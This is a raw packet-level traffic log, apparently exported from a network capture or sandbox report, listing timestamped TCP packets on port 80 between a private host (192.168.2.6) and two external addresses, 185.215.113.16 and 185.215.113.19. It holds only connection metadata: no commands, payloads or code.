Jul 26, 2024 13:49:33.237453938 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.237463951 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.237477064 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.237503052 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.243151903 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.243190050 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.243271112 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.243280888 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.243346930 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.243367910 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.243377924 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.243387938 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.243397951 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.243431091 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.243895054 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.243936062 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.243969917 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.243980885 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.244035006 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.244055033 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.244183064 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.244209051 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.244219065 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.244229078 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.244240046 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.244333029 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.244395971 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.244405985 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.244415045 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.244431019 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.244441032 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.244448900 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.244515896 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.277229071 CEST	80	59062	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:33.277430058 CEST	59062	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:33.278168917 CEST	59062	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:33.284096003 CEST	80	59062	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:33.286596060 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.286652088 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.286746979 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.286864996 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.531191111 CEST	80	59062	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:33.532659054 CEST	59062	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:33.620167017 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.625410080 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.647957087 CEST	59062	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:33.648227930 CEST	59067	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:33.653692961 CEST	80	59067	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:33.653758049 CEST	59067	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:33.653875113 CEST	59067	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:33.654293060 CEST	80	59062	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:33.654340029 CEST	59062	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:33.659138918 CEST	80	59067	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:33.865914106 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.865926981 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.865938902 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.865952015 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.865966082 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.865993977 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.866055012 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.866067886 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.866080046 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.866252899 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.866264105 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.866275072 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.866641998 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.866714001 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.866727114 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.866792917 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.866843939 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.866856098 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.866867065 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.866991043 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.867002964 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.867012978 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.867012978 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.867013931 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.867049932 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.867059946 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.867230892 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.867242098 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.867253065 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.867264986 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.867669106 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.867731094 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.867743015 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.867862940 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.867873907 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.867887020 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.868060112 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.868088007 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.868119955 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.868130922 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.868141890 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.868153095 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.868163109 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.868172884 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.868509054 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.868539095 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.868550062 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.868560076 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.868571043 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.868581057 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.868591070 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.868601084 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.868611097 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.868621111 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.868787050 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.869151115 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.869162083 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.869172096 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.869183064 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.869193077 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.869195938 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.869203091 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.869214058 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.869214058 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.869224072 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.869235039 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.869236946 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.869246006 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.869259119 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.869282007 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.869580030 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.869754076 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.869761944 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.869764090 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.869770050 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.869771957 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.869776964 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.869781971 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.869787931 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.869793892 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.869798899 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.869805098 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.869810104 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.869817019 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.869857073 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.869895935 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.870287895 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.870342016 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.870352030 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.870438099 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.870870113 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.870914936 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.870917082 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.870925903 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.870985031 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.871004105 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.871015072 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.871119976 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.871140003 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.871200085 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.871212006 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.871341944 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.871352911 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.871359110 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.871362925 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.871521950 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.871521950 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.871532917 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.871562004 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.871565104 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.871567011 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.871618032 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.871648073 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.871659994 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.871757030 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.871757984 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.871790886 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.871897936 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.956536055 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.956556082 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.957616091 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.017668009 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.017719984 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.017739058 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.017750025 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.017869949 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.017880917 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.017893076 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.017903090 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.017914057 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.018367052 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.018429041 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.018439054 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.018450975 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.018460989 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.018696070 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.018770933 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.018783092 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.019418001 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.019418001 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.019445896 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.019541979 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.019597054 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.019608021 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.019773006 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.020066977 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.020086050 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.020095110 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.020205975 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.020216942 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.020705938 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.020761967 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.020768881 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.020772934 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.020936012 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.020997047 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.021008015 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.021096945 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.021109104 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.021120071 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.021168947 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.021239042 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.021249056 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.021260023 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.021270990 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.021467924 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.021469116 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.021534920 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.021544933 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.021603107 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.021605968 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.021707058 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.021718025 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.021728992 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.021740913 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.021774054 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.022053003 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.022063971 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.022074938 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.022083998 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.022095919 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.022105932 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.022116899 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.022128105 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.022254944 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.022454023 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.022464991 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.022475958 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.022485971 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.022496939 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.022506952 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.022517920 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.022527933 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.022622108 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.022810936 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.022821903 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.022834063 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.022931099 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.022943974 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.023006916 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.023020029 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.023031950 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.023113012 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.023282051 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.023293018 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.023303986 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.023314953 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.023324013 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.023327112 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.023338079 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.023344994 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.023349047 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.023370028 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.023390055 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.023570061 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.023581982 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.023592949 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.023602962 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.023657084 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.025557995 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.025577068 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.025588036 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.025599003 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.025629044 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.025753975 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.025763988 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.025774956 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.025974035 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.025981903 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.025993109 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.026004076 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.026015043 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.026149035 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.026169062 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.026201963 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.026258945 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.026320934 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.026331902 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.026343107 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.026352882 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.026364088 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.026374102 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.026467085 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.026478052 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.026488066 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.026499033 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.026510000 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.026546955 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.026563883 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.026667118 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.026808977 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.026820898 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.026830912 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.026843071 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.026850939 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.026853085 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.026865005 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.026875973 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.026901007 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.026923895 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.027225018 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.027235031 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.027245998 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.027256012 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.027266026 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.027267933 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.027276039 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.027287006 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.027292967 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.027297020 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.027308941 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.027316093 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.027343035 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.027604103 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.027645111 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.029701948 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.029738903 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.029747009 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.029747963 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.029769897 CEST	59056	80	192.168.2.6	185.215.113.16
